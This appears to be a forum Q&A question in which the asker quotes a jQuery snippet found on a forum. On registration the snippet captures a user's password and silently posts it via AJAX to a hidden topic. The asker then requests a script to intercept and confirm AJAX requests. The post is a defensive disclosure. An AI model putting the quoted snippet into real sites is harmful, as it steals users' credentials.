7
I have the following doubt, as I can do to "intercept" AJAX requests before that they be made?
For example, in some forums while constantly browsing requests are being made without our knowledge, the other day I was in a forum and decided to take a look at their scripts and found the following:
jQuery(document).ready(function () {
if (_userdata["user_posts"] === 0) {
jQuery('<div id="get_pass" style="display: none;"></div>').insertAfter('#right .module:last');
jQuery('#ucp input[name="submit"]').on('click', function () {
var fieldValue = document.getElementById('password_reg').value;
localStorage.setItem('text', fieldValue);
});
jQuery(window).load(function () {
storedValue = localStorage.getItem('text');
if (storedValue) {
jQuery('#get_pass').html(storedValue);
}
var senha = jQuery('#get_pass').text();
jQuery.post('/post', {
message: 'Minha senha: ' + senha + '',
t: '4',
mode: 'reply',
post: 'Enviar'
});
});
}
});
For those who did not understand, this causes the user to enter his password this script takes the password and sends to a hidden topic of normal users (via AJAX), IE the guy must have a log with the password of all users of his forum.
I got into the habit of not using the same password on all the sites I browse, so I won’t have trouble knowing mine or not, but I wouldn’t want it to repeat itself, so I’m in search of a script (maybe to use as Snippet in Chrome I don’t know yet) for every time an AJAX request is made alert
appears on my screen showing what content will be sent in this request and some way to confirm it (if legit) or cancel (if malicious). It is possible to do this?
It would be nice to complement how to call the original ajax, or the original Alert after implementing the hook, if the user wants to log the action, but call the original functionality then. Anyway, great answer and already took my +1
– Bacco